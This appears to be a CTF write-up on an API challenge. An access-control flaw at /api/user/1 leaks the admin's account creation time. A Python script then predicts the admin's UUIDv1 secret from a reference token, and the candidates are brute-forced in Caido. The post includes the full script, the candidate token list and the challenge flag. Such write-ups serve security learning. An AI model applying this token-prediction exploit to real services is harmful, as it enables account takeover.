← Back
API-Broken-Access-2 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

In this challenge, we exploit the fact it uses UUIDv1, and we can regenerate the secret of the admin.

First, we signup and then login, when log using the credentials we get secret, which can be send in profile to achieve info.

Here you can see the login: login

And here the retrieve of profile using the secret: bf24e0ad-79e3-11f0-9e64-0242ac10001c profile

As you can see, we get back:

{
    "creation_date":"2025-08-15 14:25:51.988753",
    "note":"",
    "secret":"bf24e0ad-79e3-11f0-9e64-0242ac10001c",
    "userid":2,
    "username":"user1"
}

Then, we go to the endpoint /api/user and supply userid=1, like this: /api/user/1, and then achieve info about the admin.

user admin info

We can see it was created in 2025-08-15 14:25:18.674718.

Next, we create another user, get this json:

{
    "creation_date":"2025-08-15 14:33:05.871466",
    "note":"",
    "secret":"c1c22021-79e4-11f0-9e64-0242ac10001c",
    "userid":3,
    "username":"user2"
}

Very interesting, the secrets looks very similar…

bf24e0ad-79e3-11f0-9e64-0242ac10001c
c1c22021-79e4-11f0-9e64-0242ac10001c

Then, I’ve found this article Why UUIDv1 shouldn’t be used to generate security tokens, okay, that’s sounds interesting.

We can detect it’s UUIDv1 by the first 1 in here: 11f0.

In general, UUIDv1 token is 128 bit which is consist of 4 main things:

For example, in our case:

bf24e0ad-79e3-11f0-9e64-0242ac10001c

| Field | Value (hex) | Bits | | ——————————— | ————– | ————————————— | | time_low | bf24e0ad | 32 | | time_mid | 79e3 | 16 | | time_hi_and_version | 11f0 | 16 (12 bits timestamp + 4 bits version) | | clock_seq_hi_and_reserved | 9e | 8 | | clock_seq_low | 64 | 8 | | node | 0242ac10001c | 48 |

As we can see, the only part that’s changed is time_low. We Also know where the admin security token was created, in 2025-08-15 14:25:18.674718.

So, we can regenerate the admin token using this script.

import uuid
import datetime
import sys

def regenerate_uuid_list(ref_uuid_str, ref_dt, target_dt, delta_ticks=100):
    ref_uuid = uuid.UUID(ref_uuid_str)

    # Extract node and clock sequence
    node = ref_uuid.node
    clock_seq = ref_uuid.clock_seq

    # UUID epoch
    uuid_epoch = datetime.datetime(1582, 10, 15)

    # Reference timestamp in 100-ns intervals
    ref_intervals = int((ref_dt - uuid_epoch).total_seconds() * 10_000_000)

    # Base target timestamp in 100-ns intervals
    delta_intervals = int((target_dt - ref_dt).total_seconds() * 10_000_000)
    target_intervals_base = ref_intervals + delta_intervals

    uuids = []

    for tick_offset in range(-delta_ticks, delta_ticks + 1):  # ±delta_ticks ticks
        ts_intervals = target_intervals_base + tick_offset

        time_low = ts_intervals & 0xFFFFFFFF
        time_mid = (ts_intervals >> 32) & 0xFFFF
        time_hi_and_version = ((ts_intervals >> 48) & 0x0FFF) | (1 << 12)  # version 1

        # Correctly set variant bits in clock_seq_hi_and_reserved
        clock_seq_hi = ((clock_seq >> 8) & 0x3F) | 0x80  # top two bits = 10
        clock_seq_low = clock_seq & 0xFF

        new_uuid = uuid.UUID(fields=(
            time_low,
            time_mid,
            time_hi_and_version,
            clock_seq_hi,
            clock_seq_low,
            node
        ))
        uuids.append(str(new_uuid))

    return uuids


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python generate_uuid.py <ref_token> <ref_time> <target_time>")
        print("Time format: YYYY-MM-DD_HH:MM:SS.ssssss")
        sys.exit(1)

    ref_token = sys.argv[1]
    ref_time = datetime.datetime.strptime(sys.argv[2], "%Y-%m-%d_%H:%M:%S.%f")
    target_time = datetime.datetime.strptime(sys.argv[3], "%Y-%m-%d_%H:%M:%S.%f")

    possible_uuids = regenerate_uuid_list(ref_token, ref_time, target_time, delta_ticks=10)

    for u in possible_uuids:
        print(u)

This script gets as arguments the token we created and its time, and also the time of the admin token:

Usage: python generate_uuid.py <ref_token> <ref_time> <target_time>

script

It gives us list of possible tokens:

ab498f1e-79e3-11f0-9e64-0242ac10001c
ab498f1f-79e3-11f0-9e64-0242ac10001c
ab498f20-79e3-11f0-9e64-0242ac10001c
ab498f21-79e3-11f0-9e64-0242ac10001c
ab498f22-79e3-11f0-9e64-0242ac10001c
ab498f23-79e3-11f0-9e64-0242ac10001c
ab498f24-79e3-11f0-9e64-0242ac10001c
ab498f25-79e3-11f0-9e64-0242ac10001c
ab498f26-79e3-11f0-9e64-0242ac10001c
ab498f27-79e3-11f0-9e64-0242ac10001c
ab498f28-79e3-11f0-9e64-0242ac10001c
ab498f29-79e3-11f0-9e64-0242ac10001c
ab498f2a-79e3-11f0-9e64-0242ac10001c
ab498f2b-79e3-11f0-9e64-0242ac10001c
ab498f2c-79e3-11f0-9e64-0242ac10001c
ab498f2d-79e3-11f0-9e64-0242ac10001c
ab498f2e-79e3-11f0-9e64-0242ac10001c
ab498f2f-79e3-11f0-9e64-0242ac10001c
ab498f30-79e3-11f0-9e64-0242ac10001c
ab498f31-79e3-11f0-9e64-0242ac10001c
ab498f32-79e3-11f0-9e64-0242ac10001c

We drop it into Intruder in Caido, Because I have the community edition in Burp, and Intruder in Burp is annoying.

In Caido you can use intruder easily, no annoying delays.

FLAG

Flag: RM{UU1dV1s_4r3_1nSeCuRe!!_D0nT_U_Dare>:(}